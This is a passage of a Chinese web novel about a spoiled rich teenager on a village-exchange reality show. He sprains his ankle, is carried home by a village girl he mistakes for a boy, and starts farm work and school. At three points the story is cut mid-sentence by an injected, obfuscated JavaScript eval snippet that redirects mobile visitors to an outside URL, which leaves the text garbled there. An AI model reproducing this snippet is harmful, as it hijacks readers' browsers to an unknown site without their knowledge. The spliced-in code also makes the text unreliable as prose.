许思睿完全没料到走在山上还要提防脚下,走着走着一脚踏空,华丽地滚进了洞里,只来得及嚎出一声惨叫。 也不知道该说幸运还是不幸,洞底没有安插削尖的竹竿,否则绝对不是摔个狗啃泥这么简单,八成连小命都难保。他揉着屁股站起来,心里万马奔腾,把所有能想到的脏话都骂了一遍,一边庆幸没被别人看到自己现在这副衰样,一边伸长手臂扒住洞沿,狼狈地从洞底爬了出来。 手脏了,脚脏了,衣服上全是泥巴印子。 这还不算最糟的,最糟的是,他的脚崴到了。 试着站起来走了两步,右脚踝处瞬间传来一阵钻心的疼,许思睿骂了一声,怀疑自己最近犯太岁。不对,不是犯太岁,是这破地方克他,自从来了山里,就没有一件事是顺心的,这鬼地方简直像在吸他气运一样。 走是没法走了,许思睿不擅长吃苦,比起像电视里的主角那样拖着伤腿咬牙坚持前进,他更擅长知难而退。 不抱希望地将手机开了机,一看,果然还是没信号。他死马当做活马医地编辑了一条求救短信发给父母,随后便将手机揣回兜里,打算待在原地静待救援。 应该会有救援……吧? 他可是节目的关键人员,于情于理,杨吉都得带人过来找他。就是不知道杨吉能不能猜到他的行踪,他今早只跟祝婴宁说过话,也不知道这个土包子会不会趁此机会落井下石,故意隐瞒他的行踪。许思睿越想越觉得心烦,越想越觉得祝婴宁的脸写满了阴险卑鄙的气质。 罢了,多思无益。 他摇了摇头,干脆靠着树干闭目养神起来。 人在受伤的情况下会更容易感到疲倦,再加上他一整晚没睡,精神本就恍惚,本来只想随便靠着打发时间,结果没几分钟就沉入了梦乡,睡得昏天黑地不省人事。 ** 许思睿是被蚊子闹醒的。 他记得自己只是闭上眼睛浅浅打了个瞌睡,结果睁眼一看,四下漆黑一片,除了耳畔恼人的嗡嗡声,整个世界好像只剩下他一个活物。 低头瞄了眼手表—— 七点半。 这也不算晚啊,怎么天黑成这样?要下雨了? ……等等。 睡迷糊的神思归位,他想起什么,迅速掏出兜里的手机,看到上面显示着19:30后,大脑彻底懵了。 靠,他竟然睡了十二个小时! 天黑以后的山林和天黑前完全是两种不同的概念,天亮时,山只是山,树只是树,天黑以后,山如深海,树如潮浪,将他层层叠叠埋葬在照不到光亮的黑暗里,只有海面——树的端点粼粼洒着稀薄月光。 到了这时,许思睿才真正开始慌了。 他以为杨吉等人很快就能找到自己,没想到从天亮等到天黑,居然没有任何人发现他的踪迹。他们真的有认真在找他吗?是迟迟找不到他还是已经打道回府了? 不能再想了,越想越心慌,他扶着树干站起来,凭记忆尝试着往回走。扭伤的脚踝没有及时得到处理,肿得比之前还厉害,他才慢吞吞走出一两米,就疼出了满头汗,一时间走也不是,停也不是。 正纠结着,不远处忽然传来了窸窸窣窣的响动,听起来像是某种动物的脚步声。 许思睿猛然记起杨吉同他说过的,天黑以后山里会有野熊野猪出来乱窜。 ……完了。 怎么办?!这种时候应该按兵不动,还是赶紧先溜到树上? 他没有任何应对野生动物的经验,也不知道人在山林应当如何最大限度自保,双腿僵在原地,直到脚步声离他越来越近,一道光亮猝不及防打在他脸上,他才凭着本能嗷嗷大叫起来。 “许思睿?” 祝婴宁举着手电筒,惊讶地看着他。 “……卧槽!怎么是你?” 许思睿一秒收了叫声,伸手挡住手电筒的光,脸上表情复杂,既有被人发现的安心和惊喜,又有丢脸丢到姥姥家的尴尬。 两人各自站在原地对视片刻,祝婴宁才主动打破沉默,问他:“你怎么会在这儿?” 他死要面子,故意瞒去迷路的事实,模棱两可地说:“我当然是想要下山回家了,谁想继续待在你们这种破地方。” 祝婴宁便哦了一声,不冷不热地说:“可你现在站的地方和下山的路是相反的。” “……” “你迷路了?” “……” 不说话就是默认了,她叹了一口气:“剧组的人找了你一整天。” “找了一整天还没找到我,这剧组的效率也是够可以的。”许思睿忍不住轻声发起牢骚。 祝婴宁一脸不赞同地皱起眉:“大家以为你下山了,都沿着下山的路在找,要不是我来这边摘春笋,谁能猜到你在这儿?你不应该把他们的付出当成是理所当然的。” 她这么一说,许思睿才发现她肩上背着一个竹筐,里面满满当当都是竹笋。 敢情她只是采东西路过,不是特意来找他的。许思睿觉得很尴尬,暗自庆幸自己没把自作多情表现出来。 “行了,既然碰见了,你就跟我回去吧。”祝婴宁颠了颠竹筐,不打算在这里多耗,回身准备带路,“有什么话回去再说,天黑了,山里不安全。” 谁知她向前走了一段路,身后许思睿却迟迟没有跟上来,她侧过头,诧异道:“怎么,你打算留在这里喂蚊子?” “……不是。”事已至此,继续瞒着毫无益处,许思睿只能说实话,压低声音别别扭扭地说,“我那个……我脚崴到了,走不了。” 祝婴宁对这一带的地形了如指掌,一听他说脚崴到了,眼神便下意识瞟向了附近的陷阱,见上面铺的伪装草果然没了,心下顿时了然。这陷阱是他们村里的老猎人盖的,被村支书耳提面命交代过好几回,让他把陷阱填起来,免得小孩子贪玩掉进去,但老猎人执拗得很,坚称“这里的娃哪个不是鬼精鬼精,跟猴似的,掉不进去掉不进去,你别瞎操心”,拖到现在都没动手。 这不?眼下就栽了一个。 看许思睿扭捏的表情就知道他觉得这事很丢脸,祝婴宁没有揭人短的癖好,她佯装不知情,放下肩上的竹筐朝他走过去,右手一探,一捏,不顾他的鬼哭狼嚎,利索且娴熟地捏住他的脚踝,快速帮他检查了一下骨头。 还行。 “骨头没断。” “疼疼疼疼疼——!!”他连连吸气。 “能走不?” “你说呢?!” 许思睿的娇气让她颇感无语,叉着腰原地思考了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543177|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几秒,最后背对他蹲了下去。 “干什么?” “上来,我背你。” 他怔住了。 倒也不是突然间良心发现,只是觉得很质疑,因为祝婴宁看起来实在太瘦弱了,目测还没一米六高,正面看细细的,侧面看扁扁的,抬起来就可以直接当扁担用,都不用二次加工。而许思睿从小山珍海味,身高自然也窜得比同龄人快,虽然才十几岁,但已经逼近一米八二了。他怀疑自己只要胆敢趴上去,祝婴宁的腰就敢当场折断给他看。这也太惊悚了,她敢背他都不敢趴。 “你……”他斟酌着用语,“你确定?” “怎么了?”她纳闷他为什么迟迟不上来。 “我是说,你不觉得咱俩身高差距有点大吗?”许思睿比划了一下,为了更有说服力,还特意问她,“你多高?” “一米五七。”她如实回答。 “靠,比我想的还矮,你多重?” “八十八斤。” “……” 许思睿嘴角抽了抽,食指指向自己,“我一米八一点六,体重一百一十八。” 祝婴宁没理解:“所以?” “你知道这是什么概念么?你觉得你背得起我?”许思睿瞪大眼睛,难以置信。 竟然是担心这个?祝婴宁觉得很好笑:“你到底上不上来了?” “我觉得很危险。” “得,那我扶着你,你自己慢慢走吧。”她作势便要起身。 “欸!等等——” “又怎么了?” 最终娇气还是战胜了对安全性的担忧,许思睿清咳一声,厚着脸皮道:“我决定了,还是你背我吧。” “……” 说完直接伸手将她重新按了回去,小心翼翼调整好姿势趴到她背上,不放心地交代:“你可千万别把我摔了啊。” 等一切准备就绪,他才留意到地上的竹筐,随口问:“这筐竹笋你打算怎么办?” 本来以为她会回答“先放在这,待会再回来拿”诸如此类的话,结果祝婴宁理所当然道:“你背着啊。” “什么?!”许思睿大吃一惊。先别说让他去背这么掉价的东西,光是他的体重加上竹笋的重量,恐怕就要一百三十斤了,这人是不是疯了? 但祝婴宁非常认真:“快点,别磨蹭了,回去晚了我阿妈会担心的。” 许思睿最讨厌被人命令,但碍于自己现在有求于她,只好咬咬牙,忍下嫌弃,勉为其难将地上那筐竹笋背了起来。 于是开始下山。 山路不好走,祝婴宁手里的手电筒功率又低,只能勉强照亮前方一小截路,许思睿全程提心吊胆,生怕她一脚踏错,把他颠下斜坡。 但怪的是,明明是这么小的身躯,明明既不高大,也不威猛,她却一步一步走得很稳,呼吸也很均匀。 春末,他身上穿着羽绒服,她却穿得很少,只有一件单衣,衣服粗糙的布料渐渐被汗水泅湿,牢牢贴在身上,显露出了手臂上精健的薄肌线条。许思睿原本是很嫌弃和别人进行肢体接触的,但现在他浑身都是泥巴,已经脏得不能再脏了,也就无所谓再讲究洁癖,反而伸手在她手臂上捏了捏,发现手感很结实后,由衷赞叹道:“看不出来啊,你这肌肉还挺带劲的,女生应该都会喜欢。” “?” 祝婴宁懵了懵,不懂他为什么这么没有男女之间的分寸感,“……你别碰我。” 许思睿感到莫名其妙:“碰一下怎么了?又不会死。”说完故意又捏了捏,心想大家都是男的,也不知道这人在别扭什么劲儿。 5. 指名道姓 回到祝家村刚好八点整,村口灯火通明,剧组的人三两成堆聚在一起,每个人脸上都是显而易见的焦虑,还有不少村民举着火把围过来凑热闹,几个村领导模样的人正在同杨吉说话。 有眼尖的人率先看到了他们,眼睛一亮,指着他们大叫起来,众人循声回头,无数道视线霎时探照灯般打在他们俩身上。 许思睿有些不自在,虽然他在以前的学校也没少闯祸,但这么兴师动众还是人生头一回,他心里难免有点闯祸的心虚。 果不其然,杨吉率先拨开人群冲了过来,手指隔空指着他的脑门,气得脸都涨红了,“你”了半天,才“你”出一句:“……你真是好样的!” 心虚归心虚,许思睿是绝对不可能乖乖挨训的,他撇撇嘴,哼笑道:“谢谢啊。” “我不是在夸你!”杨吉气得几近吐血,指着他的食指都在颤抖,“我告诉你许思睿,你别以为家里有几个臭钱就可以任性妄为,你回去翻翻合同,看看里面的条款,再有下次,你他妈再闹一次失踪,甭管你老子多有钱,你都得给我赔得倾家荡产!” 寻常人被一个比自己年纪大两轮的中年人这么恐吓,多少都会害怕,许思睿却完全不吃这套,冷淡且平静地应道:“行啊,那你就去报警呗,看看警察是先抓我,还是先抓你们这种侵害别人人身自由权的脑残节目,你他妈牛逼给谁看呢?” 一席话把跟过来的工作人员都给说愣神了,大家面面相觑,脸色都很难看。 眼见一场口舌大战即将爆发,忽然有个弱弱的声音插进来,像读不懂气氛似的,直板板地说:“你们谁来搭把手?” 众人视线下移,这才发现祝婴宁的存在。 她不说话的时候存在感向来低微,说了话,大家才留意到她正背着许思睿,大汗淋漓,两股战战。 这画面看起来就像地主压榨童工,大家纷纷露出惨不忍睹的表情,有个乡亲看不过去,出声打抱不平:“欸!你这阿弟怎么回事啊?一个大男人,居然还要宁宁背你!” 许思睿完全没有意识到问题所在,翻了个白眼,理直气壮道:“我脚崴到了,要他背一下怎么了?” “你……你脚崴到了也不能这样啊!”村民指指点点。 祝婴宁只好主动解围道:“他走不了路,我才背他的,你们谁来搭把手,帮忙把他扶上去?” 村民不太喜欢许思睿,但看在她的面子上还是上前帮忙了。祝婴宁这才得到解放,揉了揉酸疼的肩颈,跟在他们后头慢慢走回了家。 屋子里刘桂芳已经准备了一桌菜,看到许思睿平安归来,不由松了口气:“回来就好,回来就好!阿姨还以为你……”大概是觉得后面的话不吉利,赶忙呸呸两声,抬手拍了拍自己的嘴巴,笑道,“不说这些了,你现在肯定饿坏了,快进来吧!我今天特意打听了你们京城的口味,给你做了炸酱面,快来尝尝阿姨的手艺怎么样。” 一天一夜没有进食,许思睿确实饿惨了,再加上今天的面妥贴地装在碗里,没有出现用手抓的情况,他便赏脸坐了下来,用筷子矜持地尝了几口。 ……说实话,味道真不咋样。 但肚子饿得咕咕响,他还是吃了个精光。 他吃饭的时候,刘桂芳便忙前忙后寻找药箱,张罗着要给他处理伤口。许思睿躲了一下,把嘴里的东西咽下去了,才皱眉道:“等我洗完澡再弄。” “哦哦,洗澡是吧?你家人把你的衣服寄过来了,阿姨这就给你准备。” 刘桂芳锤了锤膝盖,从地上艰难地直起身,祝婴宁在一旁看着,心里五味杂阵,既心酸又难过,三两口将面条咽下肚,主动道:“阿妈,你别忙了,我来就好。” “那你去烧桶水,记得把装水的桶涮干净。”刘桂芳事无巨细地嘱咐。 “知道。” 洗澡的地方建在房子外,是个半露天的空间,只有两平米大,四面用铁片围起来,地上挖了个排水洞,装了水管连通到山溪里。她把洗澡的桶翻出来洗干净,倒了热水进去,想了想,又加了半桶凉水。 她忙活的时候,许思睿夹着自己的睡衣,拄着拐杖,一蹦一跳走了过来。那根拐杖是祝婴宁奶奶先前身体还硬朗时用的,她看许思睿用得挺顺手,小小年纪一派老气横秋,忍不住笑了一声。 “笑什么?”他一瞪眼。 祝婴宁收起笑:“没有。” 他蹦过来,看了看洗澡的铁棚,表情既嫌弃又麻木:“你们这敢再原始一点吗,怎么连淋浴喷头都没有?还有这,这屋顶干嘛不封起来,等着谁趴上面偷窥啊?什么癖好。” 她被他念叨得很不高兴,小声嘟囔了句:“爱用不用。” “你说什么?” “没有。” 许思睿居高临下斜睨了她一会儿,将话题一转:“我衣服放哪?” 祝婴宁指了下铁棚上的挂钩。 “洗发水和沐浴露呢?” 她又指了指角落里的一个小板凳,上面摆着几瓶洗浴用品。 许思睿拿起来瞧了瞧,越瞧,眉头越发皱得能夹死苍蝇:“什么玩意,力土?舒肤住?我靠,力士和舒肤佳居然没告它们,这盗版也太特么离谱了,你们买东西都不仔细看的吗,这用了真不会得皮肤病?” 祝婴宁耸耸肩,还是一脸“爱用不用”的表情。 他放下手里的瓶子,在那堆洗浴用品里找了一下:“护发素在哪?” “护发素是什么?” “……” 许思睿扶了扶额头,觉得心特别累,前所未有的累,“行了行了,你出去吧。” ** 洗完澡回到屋里,刘桂芳已经准备好了纱布和一罐乌漆嘛黑的黏糊糊的东西。许思睿瞥了一眼,浑身顿起鸡皮疙瘩:“这又是什么?” “草药。”刘桂芳高兴地向他推销,“我们村都用这一款,别看是自制的,效果可好了,治跌打损伤的效果比红花油都好。” “好恶心,跟屎一样。”许思睿丝毫不给面子,“你拿点云南白药给我,我自己喷喷得了。” 刘桂芳便愣了,犹豫了几秒,才不好意思地问:“云南白药是……?” “……” 最后他还是唧唧歪歪不情不愿地上了草药。 村里睡得早,由于没什么夜生活,大家普遍九点左右就躺下了。涂完药以后,许思睿不得不再次面临一个严峻的问题——今晚睡哪儿? 书桌是绝对不想再体验一次了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543178|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡完腰酸背痛,像被人打了一顿。可不睡书桌的话,留给他的选择便只剩那个炕。他既接受不了男女同炕,也接受不了和一个流口水的老人睡在一起。 留在屋里的摄影师劝了他半天,说:“村里都这样,你睡了就知道了,在条件有限的情况下谁管你男不男女不女,大家都是烂命一条,躺上去唯一的想法就是困,啥邪念都没有。再说,你介意又能怎么办,整间屋子就这张炕,不睡就只能滚去睡地板。” 许思睿做了半天心理建设才将自己说服,手指一指祝婴宁,退而求其次道:“行吧,但是我要他睡在我旁边。” 既然非得所有人睡一起,那睡在同龄男生身边总比睡在女人身边好,免得节目播出以后惹人口舌,凭空玷污他的清白。 “啊?” 闻言全屋子的人都愣了。 虽然说男女同炕是既定事实,但特意点名道姓要祝婴宁一个同龄小姑娘睡他旁边,怎么看都觉得匪夷所思。可硬要说哪里不对吧,大家也说不出来,只能你看我我看你,各自交换眼神。 刘桂芳尝试着和他商量:“要不……要不让我婆婆睡你旁边吧,我婆婆睡相很好的,宁宁她……她毕竟是个女……” “不、行——!”许思睿坚决地打断了她的话,“想都别想,我只接受他睡我旁边!” “这……” 大家表情复杂,连祝婴宁都忍不住用异样的眼神打量着许思睿,心里对他的印象已经从王子病变成了疑似色狼的王子病。 只有当事人毫无自觉,把拐杖一放,自行爬到炕上,找了最角落的位置坐下,不耐烦地冲祝婴宁发号施令:“你在那边发什么呆,赶紧过来啊!” “……” 虽然每个人内心感受都同样微妙,但总不能继续大眼瞪小眼发呆一整晚,在一阵莫可名状的沉默后,祝婴宁还是朝许思睿那边爬了过去,摄影师也关闭了摄像机,回去外面躺睡袋了。 熄灯。 世界陷入寂静。 ** 许思睿睡相特别烂,在半夜第三次被他的手臂糊脸糊醒后,祝婴宁忽然发觉自己可能误会他了。他不是色狼,也不是变态,他明明是看她不爽想折磨她。 因为从小习惯了一家人挤在一起睡觉,祝婴宁睡相很好,躺下去是什么姿势,第二天醒来便还是那个姿势,既不乱翻身,也不乱打人。可许思睿不一样,他一看就是那种从小睡惯大床的人,睡姿一点都不知道收敛,一整个晚上不是把手臂架她脸上,就是不停翻身,窸窸窣窣的动静如老鼠偷油。 凌晨四点,祝婴宁被他烦得再也睡不下去了,不得不提前起床,坐在炕上懵了一会,暗自庆幸没让奶奶睡他旁边,不然简直是在虐待老人。 外边一片漆黑,她趿上鞋子,摸黑走出去,打算先去厨房准备家畜的饲料。结果没走几步,就见杨吉等人已经在外头准备拍摄了。 “杨叔好。”她礼貌地打招呼。 “早。”杨吉见到她,笑眯眯地应了一声。 “你们今天怎么起这么早?”她好奇地问。 一提到这个杨吉就变了脸色,磨了磨牙,恶狠狠道:“当然是为了拍摄了,那个混小子……这么不服管,看我不把他磨掉层皮。” 6. 谁是顾英明 许思睿睡得正酣,肩膀上忽然多出一只手,钳住他的关节,生生将他摇醒了,睁开眼睛一看,映入眼帘的赫然是近在咫尺的摄像机镜头。他眉一拧,正待发飙,就见杨吉的大脸从镜头后冒出来,笑得和蔼可亲:“许思睿,别睡了,你不是想回家吗,我有个办法可以让你提前回去。” 一句话就把他满腔起床气打散了。 回家? 回家确实是许思睿目前最渴望的事。尽管心里知道杨吉八成没安好心,他还是从被窝里翻坐起身,斜眼睥睨他,一脸“我看你能说出什么花来”的表情。 “本来昨天就该向你介绍我们节目的制度的,谁知道你失踪了一整天。”杨吉悠悠说道,“我们这节目吧,是积分制,说是说交换一学期,但其实只要你攒够了一百分积分,就可以提前回家了。” 说完故意停顿了一会儿,等着许思睿问他“积分怎么攒”。 谁知道许思睿毫无反应,还是维持那个姿势那个表情坐在被窝里看着他,眼神还带着些没睡醒的惺忪。 气氛尴尬地冷场了片刻。 杨吉只好悻悻然把话头接上:“至于积分,要靠多做好人好事获得。每天帮忙做农活满四小时可以获得一积分;帮了村民的忙,村民上门夸赞,可以得一积分;好好上学,在学校待满正常上学的时长,得一积分……” 话还没说完,许思睿就掩上被子重新躺下了,杨吉“欸”了一声,奇道:“你怎么回事许思睿,你不想回家了?” 他在被窝里冷笑了一声:“你当我是弱智?现在是三月底,在这待一学期也就是待满三个多月,而按照你那个狗屁积分制度,我他妈也得做好人好事做三个多月才能攒够一百分,比起辛辛苦苦做三个月的事,我还不如在这躺三个月混吃等死,你滚吧,别来烦我了。” “……” 杨吉便愣住了。 上一季来参加节目的几位纨绔刚来那两天也是鬼哭狼嚎,巴不得长出翅膀立马飞回家,因此听说有积分制可以缩短待在这的时长以后,大家都卯足了劲儿干活——当然,能坚持干活多久就是后话了。唯独许思睿,他看起来很了解自己游手好闲的秉性,因为太过了解,知道自己一定坚持不下来,所以干脆连试都不试了,直接就地躺平。 见过懒的,但真没见过这么懒得如此浑然天成无可救药的,杨吉相当无语,心想许思睿真是没白瞎他这副小白脸的长相,不仅长得像小白脸,内在也贯彻落实了小白脸吃白饭的精神。 他当然不能放任许思睿就这么躺下去,不然这综艺还做不做了?综艺的看点就是纨绔被摧残被改造的过程。要是许思睿一直躺,那观众看什么?看他蒙着被子睡大觉吗? 思考片刻,杨吉抛出了第二个诱饵:“积分每满十分,可以获得一次联系家里人的机会。” 他不相信许思睿能不对这个条件心动。 “……” 果然,五秒过后,床上的人重新翻了起来,磨牙切齿道:“你要是敢骗我,我保证把你们全剧组都拆了。” ** 虽然答应了要干活,但许思睿还是想在床上赖一下,赖到天亮了再起床。可惜杨吉似乎打定了主意不让他好过,一直拿摄像机近距离怼着他的脸,把他烦得抓狂,睡也睡不安分,最后不得不顶着鸡窝头起来洗漱。 全部弄完以后,他拐进厨房,看到祝婴宁正蹲在炉灶的燃料洞前往里面塞柴火。 “喂,土包子。” 他顺手就把她给提溜起来了。 她挣了挣,回头瞪他:“放手!” 许思睿松了手,右手手肘随意搭在拐棍上面,陈旧的拐棍硬生生被他衬得像魔术师的权杖,整个人由内到外散发着一股很吊很大爷的气质,仿佛接下来要说的话是什么圣旨:“你教教我干活呗。” “……?” 她诧异地打量着他,不懂他怎么突然转性了。 干活?这是他的台词吗? 许思睿也懒得解释太多,开门见山:“你找点轻松的活给我,最好是坐着的,不会流汗的,不用晒到太阳的,很快就能做好的。” “……没有这种活。” 她甩了他一个白眼,转身往烧开的锅里加入白菜、糙米,开始熬煮猪饲料。 “那别的也成,反正你给我找点活,顺便教教我怎么做。” 给猪吃的食材不用准备得多么精细,祝婴宁手里拿着一根搅拌用的大铁勺,一边来回搅拌着锅里的食材,一边用手背揩了揩额头的细汗,头也不回应道:“要我教你,可以。但是——”她瘪瘪嘴,义正言辞地说,“我不叫土包子,如果你想要我教你,就得对我礼貌点儿。” “行行,知道了。” 许思睿只想赶紧把这茬敷衍过去,没想到祝婴宁对自己的名字特别较真,眼睛瞟向他,手指指着自己的脸,认真追问道:“那你说说看,我叫什么名字?” 她的手指细如钢索,从半空中延展出来,笔直地连缀起他的视线。 凌晨四点多,晨光熹微,借着山水春色和燃料炉里黯淡的火光,许思睿第一次认真打量起她的脸。 不得不说,来到这里的每一分每一秒,占据他大脑的只有离开这个想法,他看所有人都带着一层薄雾,所有人在他眼里都是被马赛克模糊的NPC。直到现在,被她这么一问,这层薄雾才渐渐消散,拨云见日,显露出她平凡无奇的五官。 钱钟书那句话怎么说来着?对丑人来说,细看是一种残忍。她没到丑的程度,却也一点都不符合普世意义上的“美丽”。 鼻梁不够挺拔,鼻翼不够窄小,皮肤不够雪白,眼睛不是双眼皮,有颗虎牙长歪了,且面中平平的,所有五官都显得很钝很淡。若是非要找出几个优点,只能说,脸倒是小小的,下巴也尖尖的,眼白和眼珠黑白分明,瞳孔比寻常人亮一些。除此之外,没了。 有求于人,总不好对人家的外貌过多点评,许思睿摸摸脖子,努力回想了一下,从记忆里扒拉出一个名字:“我知道,你叫顾英明,你妈妈叫你明明。” “……” 祝婴宁简直目瞪口呆。 要不是不习惯骂人,她真想问一句“你是不是耳屎没掏干净”,怎么能空耳得这么离谱?! “就算你不记得我的名字,好歹也把我的姓念对,这里是祝家村,我怎么可能姓顾?” “谁知道呢,也许你随母姓。” “我阿妈也不姓顾,她姓刘。” 她一板一眼解释的模样让许思睿觉得有些索然无味,就像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543179|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抛出一个笑话,对方非但没接,还反过来问你“什么意思”。 “好吧,那你叫祝什么?” “祝婴宁,婴儿的婴,宁静的宁。”她用带口音的普通话努力念对自己名字的读音。 听到这许思睿倒是怔了怔:“婴宁?这是聊斋里的美女精怪的名字吧,你家里人怎么给你取了个这么娘们唧唧的名字。”既和“美”不搭边,也和“女”不搭边。转念一想,想起某些落后地区确有给男孩取女孩名的习俗,觉得贱名好养活,而女孩命更“贱”,于是当即不说话了,心里对这个地方的印象分又跌了几分。 祝婴宁压根不知道他心里七拐八拐在想些什么,将煮好的饲料捞到一个洗干净的油漆桶里,拿布垫了一下把手,手臂发力,利索地提起来,转身招呼他:“既然想干活,那你就跟着我一块去喂猪吧。” ** 许思睿没有写日记的习惯,他觉得日记这种形式类似牛的反刍,是在反复咀嚼自己的呕吐物,毫无浪漫可言。倘若硬要他对今天的经历做个总结,他只会在日记上写下巨大的两个字—— 操淡。 短短一天内,他和许多往常只在餐桌上打过交道的动物产生了接触,比如猪,比如鸡。 猪是肥大的两坨肉,在猪圈里移动时,白花花的皮肤犹如油腻肉浪向他涌来,将他淹没在潮湿闷热的猪臭里。 鸡是一边走一边拉的造粪机。 他不懂人类科技发展到现在,为什么还没有普及全自动喂养牲畜的机器,为什么他非得帮忙提着一桶稀烂的猪食,把它们倒进食槽里,溅自己一裤腿米汤,然后趁猪不注意拐进猪圈里清扫它们的排遗物?为什么他非得矮身溜进鸡舍,突破母鸡的重重防卫,只为摸出两颗沾毛带屎的鸡蛋? 大概是他喂完牲畜的表情看起来太凄惨了,过后祝婴宁慈悲地对他施予了一点同情心:“你脚没好,就别砍柴了,坐在旁边择择菜吧。”然后端给他两大盆杂七杂八的蔬菜,交代他如何处理。 玉米掰粒,豆角剔筋,马蹄去皮。 这些虽然繁琐枯燥,但好歹能做。 糟糕的是削香芋,没人告诉过他处理香芋皮要戴手套,不然会手痒。等他麻麻赖赖削完两颗香芋的皮,手已经痒得不能要了,白皙的手背爬满大片狰狞红印。祝婴宁听到他的求救,跑过来瞧了瞧,脸上难掩尴尬之色:“糟了……我忘了提醒你要戴手套。” “操,你是不是故意的啊?” “不是的。”她连忙捍卫自己的清白,“我们做惯了农活,手上有茧,处理香芋不需要戴手套,我忘了你跟我们不一样。” 许思睿使劲挠着手背,越挠越痒,越痒越想挠,到最后简直恨不得把手剁了:“不行,我现在痒得想跳楼,你先告诉我怎样才能止痒,快快快!” 止痒方法是把手放在炉灶上烤几分钟,直到不痒为止。 痒是不痒了,却有些刺刺的疼。许思睿看着自己红肿的双手,有一瞬间忽然感到非常恍惚。 直到鸡飞狗跳的一天结束,他躺到炕上,望着天花板一角结网的长脚蜘蛛,和一只比人的拇指还要肥的壁虎,才明白过来这股恍惚意味着什么。 是麻木。 对这种一眼望得到尽头的生活的麻木。 7. 上学去 才来村里几天就产生了麻木感,许思睿认为这是一个极其危险的信号。 他自认是一个谈不上多么热爱生活可也谈不上多么憎恶生活的人,对生活无感是常态,对生活麻木很少见,两者虽然乍看相似,内核却截然不同,前者充其量是平淡的代名词,后者却是精神病的前兆。 在焦虑与恐惧的驱使下,回家这件事从一种渴望升级成了一种紧迫。 ** 第二天睡醒时,麻木略有缓解,因为许思睿受到了新的惊吓——上学。 学校离祝家村足有五公里,他本以为他们会坐牛车过去,祝婴宁却说牛车要留给村子里的人用:“我们走路过去上学。” “可我脚还没好啊?”他像听到天方夜谭。 祝婴宁“善解人意”地解释:“我知道,所以我才提前喊你起床了呀,一个小时,够我们慢慢走过去了。” “……” 步行五公里去上学,即使是没受伤的时候,他也没受过这种折磨,现在却要拖着伤腿,拄着拐杖,在无数相机的记录下,一瘸一拐走向一所建在深山里的学校。 他对这所学校没抱任何不切实际的幻想,用脚趾头想都知道,山旮旯里能有什么教育资源?但和前些天寡言少语的形象相反,提到上学,祝婴宁就像换了一个人,瞳孔熠熠闪光。她甚至主动向他介绍起学校,尽管他完全不想听。 什么“我们班主任是语文老师,学富五车,对学生可好了,借了很多书给我看”,什么“学校虽然不大,但是每个人都很珍惜上学的机会”……他通通左耳进右耳出,言语像江水一样从他中空的耳洞里流掉了。 等到了目的地,抬头一看,果不其然,一个还没他们以前学校体育馆大的学校孤零零伫立在山脚下,周围前不着村后不着店,连家小卖部都没有。 “为什么不把学校建去镇上?”他很不理解。 祝婴宁腼腆地笑了笑:“镇上有学校,但离我们家太远了,这所学校建在附近几所村庄的中点,周围所有像我一样去不了镇上的小孩都能到这上学。” ……行吧。 学校小到一眼就能扫清格局,正门进去是一栋教学楼,有且仅有一栋,总共有五层。教学楼右边是一条50米跑道,和一个破破烂烂的篮球筐,左边是一排像是给教职工住的小房子,房子门口用晾衣杆晾了一些衣物。 这个时间点有不少学生过来上来,看到许思睿,大家都忍不住投来好奇的视线。 没办法,任谁拄着拐杖,身后跟着一大帮摄影师,都难免引人注目,再加上他是生面孔,没穿校服,长得又高又帅,皮肤白得反光,就像一颗行走的电灯泡,就更吸睛了。 许大灯泡随着祝婴宁朝教学楼移动,往上走了几层以后,他才发现问题:“你们这学校是小学和初中合并的?” “嗯。”她说,“一到三楼是小学,四五楼是初中。” 初二的教室在五楼,只有一个班,初二(1)班。 老师还没来,教室里的学生倒是到得差不多了,一见许思睿走进来,所有人都齐刷刷抬起了头看向他。 被人像看猴子一样盯着看怪不自在的,许思睿忍不住“啧”了一声,不爽地问祝婴宁:“我坐哪?” “你坐我弟弟的座位吧,就在我前面。”她给他指了个位置。 许思睿挪过去坐好。 他的新晋同桌是个圆头圆脑的小胖墩,性别男,眼神透着一股清澈的愚蠢,似乎对他很感兴趣,余光一直悄悄瞥向他这边,瞥到他不禁怀疑这人是不是斜视。可惜许思睿不是随和的性格,懒得和任何人打交道,即使收到了对方试图结交的信号,他也照常视若无睹。来上学本就抱着混积分的想法,他连书包纸笔都没带。 打算趴在课桌上补一会儿觉,结果人还没趴上去,讲台上忽然传来中气十足的一句:“请同学们翻开语文课本第17页——” 